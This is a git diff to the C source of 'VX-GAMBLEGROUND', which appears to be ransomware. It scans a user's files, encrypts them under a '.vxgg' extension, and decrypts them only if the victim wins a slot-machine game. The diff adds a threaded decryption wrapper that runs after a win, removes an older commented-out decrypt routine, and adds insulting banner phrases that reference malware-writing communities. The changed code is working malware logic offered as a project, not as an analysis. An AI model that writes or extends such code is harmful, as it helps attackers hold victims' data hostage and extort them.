diff options
| -rw-r--r-- | src/VX-GAMBLEGROUND.c | 55 | ||||
| -rw-r--r-- | src/encryption.c | 8 | ||||
| -rw-r--r-- | src/encryption.h | 14 | ||||
| -rw-r--r-- | src/screen.c | 11 | ||||
| -rw-r--r-- | src/screen.h | 3 |
5 files changed, 34 insertions, 57 deletions
diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c index 393ed48..7277844 100644 --- a/src/VX-GAMBLEGROUND.c +++ b/src/VX-GAMBLEGROUND.c | |||
| @@ -130,6 +130,12 @@ int doslots(struct bullshit *stuff) { | |||
| 130 | 130 | ||
| 131 | doupdate(); | 131 | doupdate(); |
| 132 | 132 | ||
| 133 | struct endeargs decryptargs = { | ||
| 134 | .flag = VXGG_DECRYPT, | ||
| 135 | .list = NULL, | ||
| 136 | .passphrase = stuff->passphrase | ||
| 137 | }; | ||
| 138 | |||
| 133 | stuff->params = (struct params){ | 139 | stuff->params = (struct params){ |
| 134 | .bannerwin = stuff->banner, | 140 | .bannerwin = stuff->banner, |
| 135 | .menu = stuff->menu, | 141 | .menu = stuff->menu, |
| @@ -137,6 +143,8 @@ int doslots(struct bullshit *stuff) { | |||
| 137 | .numspins = 3, | 143 | .numspins = 3, |
| 138 | .price = 1, | 144 | .price = 1, |
| 139 | .slots = &stuff->slots, | 145 | .slots = &stuff->slots, |
| 146 | .decrypt_callback = ende_wrapper, | ||
| 147 | .decrypt_args = (void*)&decryptargs | ||
| 140 | }; | 148 | }; |
| 141 | 149 | ||
| 142 | handle_input(stuff->menuholder, stuff->menu, &stuff->params); | 150 | handle_input(stuff->menuholder, stuff->menu, &stuff->params); |
| @@ -165,45 +173,6 @@ int scanundencrypt(void *passed) { | |||
| 165 | return 0; | 173 | return 0; |
| 166 | } | 174 | } |
| 167 | 175 | ||
| 168 | // int decrypt(void *args) { | ||
| 169 | // struct sande *pass = (struct sande *)args; | ||
| 170 | // pass->scanned = scanfiles(pass->STARTPATH, pass->cmp); | ||
| 171 | // if(pass->scanned == NULL) | ||
| 172 | // error(1, 0, "[VX-GAMBLEGROUND] Filescan broke"); | ||
| 173 | |||
| 174 | // int err = REG_NOERROR; | ||
| 175 | // regex_t encext; | ||
| 176 | // if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) | ||
| 177 | // error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err); | ||
| 178 | |||
| 179 | // int fd = -1; | ||
| 180 | // for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) { | ||
| 181 | // if(p->fullpath == NULL) | ||
| 182 | // continue; | ||
| 183 | |||
| 184 | // if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH) | ||
| 185 | // continue; | ||
| 186 | |||
| 187 | // fd = open(p->fullpath, O_RDWR); | ||
| 188 | // if(fd < 0) | ||
| 189 | // continue; | ||
| 190 | // passencblock(fd, pass->passphrase); | ||
| 191 | // close(fd); | ||
| 192 | |||
| 193 | // // Once again my problems are solved by allocating shit instead of using static shit | ||
| 194 | // char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname)); | ||
| 195 | // strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg"))); | ||
| 196 | // rename(p->fullpath, newname); | ||
| 197 | // free(newname); | ||
| 198 | // } | ||
| 199 | |||
| 200 | // endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized | ||
| 201 | // error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!"); | ||
| 202 | // exit(0); | ||
| 203 | |||
| 204 | // return 0; | ||
| 205 | // } | ||
| 206 | |||
| 207 | 176 | ||
| 208 | 177 | ||
| 209 | int main(int argc, char *argv[]) { | 178 | int main(int argc, char *argv[]) { |
| @@ -228,14 +197,6 @@ int main(int argc, char *argv[]) { | |||
| 228 | 197 | ||
| 229 | // Deal with decrypting flag | 198 | // Deal with decrypting flag |
| 230 | if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) { | 199 | if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) { |
| 231 | // struct sande pass = { | ||
| 232 | // .cmp = alphasort, | ||
| 233 | // .passphrase = passphrase, | ||
| 234 | // .scanned = NULL, | ||
| 235 | // .STARTPATH = FILESCAN_START | ||
| 236 | // }; | ||
| 237 | // decrypt((void*)&pass); | ||
| 238 | |||
| 239 | struct nodelist *files = NULL; | 200 | struct nodelist *files = NULL; |
| 240 | files = scanfiles(FILESCAN_START, alphasort); | 201 | files = scanfiles(FILESCAN_START, alphasort); |
| 241 | ENorDE_cryptvxgg(files, passphrase, VXGG_DECRYPT); | 202 | ENorDE_cryptvxgg(files, passphrase, VXGG_DECRYPT); |
diff --git a/src/encryption.c b/src/encryption.c index 8cccca8..4327506 100644 --- a/src/encryption.c +++ b/src/encryption.c | |||
| @@ -254,6 +254,14 @@ int ENorDE_cryptvxgg(const struct nodelist *list, const char *passphrase, int fl | |||
| 254 | return 0; | 254 | return 0; |
| 255 | } | 255 | } |
| 256 | 256 | ||
| 257 | int ende_wrapper(void *passed) { | ||
| 258 | struct endeargs *args = (struct endeargs *)passed; | ||
| 259 | if(args->list == NULL) | ||
| 260 | args->list = scanfiles(FILESCAN_START, alphasort); | ||
| 261 | |||
| 262 | return ENorDE_cryptvxgg(args->list, args->passphrase, args->flag); | ||
| 263 | } | ||
| 264 | |||
| 257 | /* | 265 | /* |
| 258 | int main() { | 266 | int main() { |
| 259 | int fd = open("test.txt", O_RDWR); | 267 | int fd = open("test.txt", O_RDWR); |
diff --git a/src/encryption.h b/src/encryption.h index 664e4e6..74539d0 100644 --- a/src/encryption.h +++ b/src/encryption.h | |||
| @@ -10,15 +10,17 @@ size_t passenc(int fd, const char *passphrase); | |||
| 10 | /* Encrypt file descriptor FD one block at a time using PASSPHRASE as the encryption key */ | 10 | /* Encrypt file descriptor FD one block at a time using PASSPHRASE as the encryption key */ |
| 11 | size_t passencblock(int fd, const char *passphrase); | 11 | size_t passencblock(int fd, const char *passphrase); |
| 12 | 12 | ||
| 13 | // Encrypt a nodelist | ||
| 14 | int encryptvxgg(const struct nodelist *list, const char *passphrase); | ||
| 15 | |||
| 16 | // Decrypt a nodelist | ||
| 17 | int decryptvxgg(const struct nodelist *list, const char *passphrase); | ||
| 18 | |||
| 19 | // Encrypt or decrypt a nodelist | 13 | // Encrypt or decrypt a nodelist |
| 20 | #define VXGG_ENCRYPT 0 | 14 | #define VXGG_ENCRYPT 0 |
| 21 | #define VXGG_DECRYPT 1 | 15 | #define VXGG_DECRYPT 1 |
| 22 | int ENorDE_cryptvxgg(const struct nodelist *list, const char *passphrase, int flag); | 16 | int ENorDE_cryptvxgg(const struct nodelist *list, const char *passphrase, int flag); |
| 17 | struct endeargs { | ||
| 18 | const struct nodelist *list; | ||
| 19 | const char *passphrase; | ||
| 20 | int flag; | ||
| 21 | }; | ||
| 22 | |||
| 23 | // Wrapper for EnorDE_cryptvxgg for multithreading purposes | ||
| 24 | int ende_wrapper(void *passed); | ||
| 23 | 25 | ||
| 24 | #endif \ No newline at end of file | 26 | #endif \ No newline at end of file |
diff --git a/src/screen.c b/src/screen.c index 4667895..dfee01d 100644 --- a/src/screen.c +++ b/src/screen.c | |||
| @@ -13,6 +13,7 @@ | |||
| 13 | #define _GNU_SOURCE | 13 | #define _GNU_SOURCE |
| 14 | 14 | ||
| 15 | #include "screen.h" | 15 | #include "screen.h" |
| 16 | |||
| 16 | #include <curses.h> | 17 | #include <curses.h> |
| 17 | #include <locale.h> | 18 | #include <locale.h> |
| 18 | #include <signal.h> | 19 | #include <signal.h> |
| @@ -328,10 +329,14 @@ int spin(void *params) { | |||
| 328 | winning++; | 329 | winning++; |
| 329 | } | 330 | } |
| 330 | if(winning == 3) { | 331 | if(winning == 3) { |
| 331 | // Do winning anim | 332 | // Do multithreading here |
| 332 | thrd_t decryptor; | ||
| 333 | thrd_create(&decryptor, p->decrypt_callback, p->decrypt_args); | ||
| 334 | 333 | ||
| 334 | thrd_t decryptor; | ||
| 335 | if(thrd_create(&decryptor, p->decrypt_callback, p->decrypt_args) != thrd_success) { | ||
| 336 | endwin(); | ||
| 337 | error(1, 0, "Couldn't spawn thread to decrypt files"); | ||
| 338 | } | ||
| 339 | |||
| 335 | mvaddch(0, 0, 'J'); | 340 | mvaddch(0, 0, 'J'); |
| 336 | for(int i = 0, color = CCP_WINNING1;; i++, color = rangemod(color, 1, CCP_WINNING1, CCP_WINNING2)) { | 341 | for(int i = 0, color = CCP_WINNING1;; i++, color = rangemod(color, 1, CCP_WINNING1, CCP_WINNING2)) { |
| 337 | bkgd(COLOR_PAIR(color)); | 342 | bkgd(COLOR_PAIR(color)); |
diff --git a/src/screen.h b/src/screen.h index 43793b5..f4b29cd 100644 --- a/src/screen.h +++ b/src/screen.h | |||
| @@ -6,6 +6,7 @@ | |||
| 6 | #include <signal.h> | 6 | #include <signal.h> |
| 7 | 7 | ||
| 8 | #define phrases (const char *[]){\ | 8 | #define phrases (const char *[]){\ |
| 9 | /* by @syxhe on tg */ \ | ||
| 9 | "WE CLOWN IN THIS MF, TAKE YO SENSITIVE ASS BACK TO @GENTOOMEMES",\ | 10 | "WE CLOWN IN THIS MF, TAKE YO SENSITIVE ASS BACK TO @GENTOOMEMES",\ |
| 10 | "R.I.P VxHeaven",\ | 11 | "R.I.P VxHeaven",\ |
| 11 | "tmp(2) nuked by Smelly",\ | 12 | "tmp(2) nuked by Smelly",\ |
| @@ -188,7 +189,7 @@ struct params { | |||
| 188 | MENU *menu; | 189 | MENU *menu; |
| 189 | 190 | ||
| 190 | int (*decrypt_callback)(void*); | 191 | int (*decrypt_callback)(void*); |
| 191 | void *decrypt_args; | 192 | void* decrypt_args; |
| 192 | 193 | ||
| 193 | // Previously buyp | 194 | // Previously buyp |
| 194 | unsigned int price; | 195 | unsigned int price; |
